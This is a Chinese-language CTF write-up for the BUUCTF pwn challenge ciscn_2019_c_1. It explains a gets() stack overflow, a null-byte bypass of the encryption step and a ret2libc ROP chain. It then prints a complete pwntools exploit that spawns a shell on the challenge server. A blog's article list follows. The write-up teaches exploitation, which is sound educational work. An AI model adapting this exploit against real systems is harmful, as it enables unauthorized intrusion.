[BUUCTF]PWN6——ciscn_2019_c_1

题目网址:https://buuoj.cn/challenges#ciscn_2019_c_1

步骤
例行检查,64位,开启了nx保护

nc一下,看看输入点的字符串,三个选项加密、解密、退出

用64位ida打开,先是shift+f12查看一下程序里的字符串

没有发现system函数和字符串“bin/sh”,先根据输入点的字符串查看一下主要函数

就像一开始说的程序的功能就是加密和解密,看伪代码可以知道,只有选1的时候才会调用encrypt()这个应该是加密函数,其余选项没有利用点

看一下encrypt()伪代码

输入点在第10行gets函数没有限制读入的长度,可以造成溢出,这题没有现成的system(’/bin/sh‘)或者cat flag可以让我们直接利用,所以需要我们自己想办法让程序调用这些命令

从11行到33行是我们的加密函数的加密过程部分,它会对我们输入的字符串进行操作,为了保证我们构造的rop不会被破坏,要想办法绕过加密,14行的if判断里有个strlen函数,strlen的作用是得知字符串的长度,但是遇到’\0‘就会停止,所以我们在构造rop的时候可以在字符串前加上’\0‘来绕过加密

这一类题目的基本做法

1.利用一个程序已经执行过的函数去泄露它在程序中的地址,然后取末尾3个字节,去找到这个程序所使
用的libc的版本。

2.程序里的函数的地址跟它所使用的libc里的函数地址不一样,程序里函数地址=libc里的函数地址+偏移
量,在1中找到了libc的版本,用同一个程序里函数的地址-libc里的函数地址即可得到偏移量

3.得到偏移量后就可以推算出程序中其他函数的地址,知道其他函数的地址之后我们就可以构造rop去执
行system(’/bin/sh‘)这样的命令

利用过程

可以在上面的程序伪代码中看到,程序执行过了puts函数,我们就利用它的plt和got地址来泄露我们的 ibc版本,这里用到了一个延迟绑定技术,具体的可以看我下面给的这个链接,这个老师具体讲了一下这种类型题目的做法,还有延迟绑定技术
https://m.weishi100.com/mweb/single/?id=2567662

1.泄露libc版本

r.sendlineafter('choice!\n','1')
payload='\0'+'a'*(0x50-1+8) #首位填‘\0’,绕过加密,之后填上a覆盖到返回地址
payload+=p64(pop_rdi)
payload+=p64(puts_got) #设置rdi寄存器的值为puts的got表地址
payload+=p64(puts_plt) #调用puts函数,输出的是puts的got表地址
payload+=p64(main) #设置返回地址,上述步骤完成了输出了puts函数的地址,我们得控制程序执行流
#让它返回到main函数,这样我们才可以再一次利用输入点构造rop r.sendlineafter('encrypted\n',payload)
r.recvline()
r.recvline() puts_addr=u64(r.recvuntil('\n')[:-1].ljust(8,'\0'))#接收程序返回的地址
#lijust(8,‘\0’),不满8位的用0补足
libc=LibcSearcher('puts',puts_addr) #利用LibcSearcher模块找到匹配的libc版本

没有安装LibcSearcher模块的可以根据下面的这个链接下载安装
https://blog.csdn.net/neuisf/article/details/103829683

下面粘贴一个在线查找libc版本的网站: https://libc.blukat.me/
我是比较习惯于用LibcSearcher来找libc版本,我们也可以在上面那个网站上利用函数的末3位找到libc版本

[:-1]是python里的切片用法,执行过程如下,上述代码中这样写是为了舍弃接收到的字符串最后的’\x0’

我这一道题是64位的程序,这边涉及到64位程序和32位程序运行时的区别了
32位程序运行执行指令的时候直接去内存地址寻址执行
64位程序则是通过寄存器来传址,寄存器去内存寻址,找到地址返回给程序

因此我这题需要借用寄存器来传参

ROPgadget  --binary ciscn_2019_c_1 |grep "pop rdi"

2.算出偏移量,算出system函数和“bin/sh”字符串地址

libc=LibcSearcher('puts',puts_addr)     #找到libc版本
offset=puts_addr-libc.dump('puts') #算出偏移量
binsh=offset+libc.dump('str_bin_sh') #偏移量+libc函数地址=实际函数地址
system=offset+libc.dump('system')

3.构造rop执行system(‘/bin/sh’)

payload='\0'+'a'*(0x50-1+8)
payload+=p64(ret)
payload+=p64(pop_rdi)
payload+=p64(binsh)
payload+=p64(system)

特别注意到题目是部署在Ubuntu18上的,因此调用system需要栈对齐,这里填充ret来对齐

ROPgadget  --binary ciscn_2019_c_1 |grep ret


完整exp:

from pwn import*
from LibcSearcher import* r=remote('node3.buuoj.cn',28214)
elf=ELF('./ciscn_2019_c_1') main=0x400b28
pop_rdi=0x400c83
ret=0x4006b9 puts_plt=elf.plt['puts']
puts_got=elf.got['puts'] r.sendlineafter('choice!\n','1')
payload='\0'+'a'*(0x50-1+8)
payload+=p64(pop_rdi)
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(main) r.sendlineafter('encrypted\n',payload)
r.recvline()
r.recvline() puts_addr=u64(r.recvuntil('\n')[:-1].ljust(8,'\0'))
print hex(puts_addr) libc=LibcSearcher('puts',puts_addr)
offset=puts_addr-libc.dump('puts')
binsh=offset+libc.dump('str_bin_sh')
system=offset+libc.dump('system') r.sendlineafter('choice!\n','1') payload='\0'+'a'*(0x50-1+8)
payload+=p64(ret)
payload+=p64(pop_rdi)
payload+=p64(binsh)
payload+=p64(system) r.sendlineafter('encrypted\n',payload) r.interactive()

运行的时候发现找到了两个匹配的libc版本,自己尝试一下,这边应该选1

最新文章

  1. unity3d引擎的学习
  2. SQL Server 数据库安全
  3. Oracl用代码建标
  4. apk反编译(3)smali语法
  5. button上加上图片的两种方式
  6. Android Google购买PHP服务器端验证(订阅购买和一次性购买)
  7. easy ui datagrid 增,删,改,查等基本操作
  8. python的私有变量解析
  9. wifi驱动总结(1)
  10. POJ 2593 Max Sequence
  11. java中的mvc和三层结构究竟是什么关系
  12. ROS_Kinetic_22 使用ROS的qt插件即ros_qtc_plugin实现Hi ROS!!!!
  13. 利用web.py快速搭建网页helloworld
  14. Cannot connect to database because the database client
  15. 在 Ubuntu14.04 上搭建 Spark 2.3.1(latest version)
  16. NOIP 普及组 2012 寻宝(思维???)
  17. MySQL log_slave_updates 参数【转】
  18. ThreadPoolExecutor源码解读
  19. [CGAL]带岛多边形三角化
  20. 微信小程序 swiper 显示图片计数 当前/总数

热门文章

  1. [Aizu2993]Invariant Tree
  2. 『学了就忘』Linux软件包管理 — 49、拓展:Linux中通过脚本安装程序
  3. springboot启动流程1
  4. JavaScript 函数声明和变量声明
  5. 撸了一个可调试 gRPC 的 GUI 客户端
  6. C/C++ Qt TableWidget 表格组件应用
  7. 15.Pow(x, n)
  8. mvc中常见的属性验证
  9. idea安装插件 JClassLib Bytecode viewer
  10. linux 实用指令压缩和解压类